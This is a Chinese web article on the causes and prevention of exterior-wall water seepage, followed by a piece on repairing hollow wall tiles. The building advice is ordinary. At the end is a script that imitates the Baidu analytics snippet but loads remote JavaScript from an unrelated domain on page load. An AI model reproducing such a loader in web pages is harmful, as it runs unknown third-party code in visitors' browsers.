外墙渗水原因及预防补救措施

房屋是我们日常起居的基本空间，对我们每个人都有着极为重要的作用。但它却容易因为种种原因发生外墙渗水这样的事，不但对房屋内外的美观性影响很大，更是对房屋的安全系数有着极其不利的影响。在修建、装修房屋时都应采取一定措施防止这种令人不愉快的事情发生。本文就将为大家介绍外墙渗水的原因及防止外墙渗水的基本办法。一、住宅外墙渗水的原因(一)填充墙施工方面的因素施工单位一般对主体的框架和结构要求很严，但对填充墙施工还没有引起足够的重视。从外墙的渗水部位铲除内壁的抹灰层，能够看到墙体的竖缝有“瞎缝”，一些灰缝甚至是透明的，有些脚手架眼还没有用砖封堵好，只是随便的用一些砂浆来堵住，导致里面是孔洞，而外面“糊窗户”。(二)装修方面的因素外墙面砖基层的清理不干净，基层处理不到位，找平层抹灰比较厚，加上砖砌体没有将水浇透，导致找平层出现开裂和空鼓的现象。现场来看，面砖勾缝不光滑、不饱满、不认真，面砖的拼接处有很多“瞎缝”，面砖背面的砂浆镶贴得不饱满，并且有流水通道，擦缝和勾缝都是采用素水泥浆进行处理，这些现象都是导致高层住宅外墙渗水的原因。(三)安装方面的因素在安装雨水管时，支撑角钢根部没有用砂浆封堵好，有些住户在空调安装时，固定防护架上用的螺栓穿插孔眼没有用砂浆封好;外墙管道周边也没有堵塞严实，以上这些因素都导致了高层住宅外墙渗水。(四)铝合金窗安装方面的因素铝合金窗框和墙体间打的密封胶严密度不够，有的打得太薄，而有些则是胶老化失去了防水的功能。玻璃与窗扇之间安装的胶条出现了断头、龟裂、不到位和缺角的现象，造成了窗扇与玻璃之间有太大的缝隙。铝合金窗的下滑轨道无泄水孔，当遇到暴雨时，就形成积水渗入到室内。二、预防住宅外墙渗水的措施(一)用低吸水率的砌块来进行外墙设计将砌块的含水率控制在一定的范围之内，砌筑的砂浆应该选用水泥砂浆。砂浆配比也应该严格控制，保证砂浆的强度，提升砂浆的抗渗水的能力。(二)治理墙体的缺陷悬挑脚手架在拆除时，应该将墙内的钢管全部都去除，再用砂浆来堵好孔洞。在外墙拆模后，应该立即将螺栓孔挖凿成喇叭口的形状，并用砂浆堵好。(三)补救搭接处的裂缝强梁与砌块接触处应该沿柱高或墙六百毫米左右，在墙体的灰缝内设拉结钢筋。砌筑砌块时，应该将拉结钢筋压入灰缝内来提升墙体的抵抗变形能力。当砌块接近梁底两百毫米左右时，应该间隔十五天左右，保证砌块的充分沉降。(四)外墙施工在外墙抹灰比较厚的部位应该采用分层施工，在内层设钢筋网片，控制抹灰砂浆的配比。在外墙的装饰面必须保证既能防水，又能达到美观的效果。在外墙面贴面砖应该严格控制质量，全面仔细的检查，避免出现空鼓的现象。面砖的灰缝要求控制在八毫米以上，在勾缝时应该先勾水平缝，再勾垂直缝。在面砖的缝隙勾好后，将面砖表面擦拭干净。(五)加强施工管理在施工的过程中，应该严格执行建设的程序，不能转包、分包或者抢工期。科学合理地确定工程造价。总而言之，高层建筑出现渗水不仅会影响美观，还会影响到房屋使用的功能。在施工的过程中，应该注意从细处着手，加强质量监管和动态管理，坚决防止出现各类质量问题。通过上文的介绍，我们已经基本了解了房屋渗水的原因。可以看到，房屋渗水的原因是多方面的，可能是修建时的疏忽，也有可能是装修时的漏洞，也有可能是自然因素导致的房屋变形等。针对预防外墙漏水，我们介绍了几种方案，大家在修建及装修的时候，一定要注意做好这些措施。所谓一劳永逸，只要做好这些工作，自然因素的影响应该就不会有太大影响了。

墙面瓷砖空鼓补救办法和产生空鼓的原因

有时一不小心敲击到墙面瓷砖，发现声音比较空洞，这意味着家中的瓷砖已发生空鼓问题。大家或许知道，瓷砖一旦发生空鼓就容易引起脱落，严重影响房屋的美观性以及带来一定的安全隐患。那墙面瓷砖发生空鼓的原因是什么？接下来我们一起了解墙面瓷砖空鼓补救办法以及产生空鼓的原因。​墙面瓷砖空鼓补救办法1、边角空鼓。仅仅在瓷砖边缘检查出空鼓，可采取浇灌的方式处理。该方法的具体操作是使用小铲子撬开瓷砖边缘的缝隙，然后将用水搅拌好的水泥浇灌入缝隙。在正常情况下，空鼓的地方会自动吸入水泥直至完全充满凝固。2、部分空鼓。如果墙面瓷砖发生空鼓的面积不大，并且不会影响家具家的安装，如镜柜、热水器和橱柜等，那对于这样的空鼓其实可以不用处理。但是若是空鼓的瓷砖对家具家电有影响，就需要重现粘贴空鼓的瓷砖。3、大面积空鼓。对于前面瓷砖空鼓的面积很大的时候，最佳处理方案是将其敲掉然后重新铺设一次。此时瓷砖粘合剂就显得特别重要。瓷砖面积不大可以使用益胶泥，该泥的粘性优于水泥。墙面瓷砖空鼓补救办法之产生的原因1、施工工艺。湿铺瓷砖造成空鼓的几率很大。在进行湿铺瓷砖时，水泥砂浆中含水量低，所以在干透的过程中，水会渐渐渗透到基层中，干透后就出现了大小不一的空洞，基层与瓷砖间也就不能持续粘贴，最终形成空鼓。2、施工技术。瓷砖在房屋装修中必不可缺，因此铺设瓷砖的重要性就不言而喻，这也表明需要铺贴瓷砖技术过关的工人。若是由技术不过关的工人进行施工，那容易发生操作错误，瓷砖也容易发生空鼓。主要的操作问题有墙面基层没有清洁干净或者没有完全压实。小编已经为大家介绍了墙面瓷砖空鼓补救办法和产生空鼓的原因的相关知识。希望可以为大家提供一些帮助。当家中墙面瓷砖出现空鼓时，不要太焦虑，定会找到合适的解决方案。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();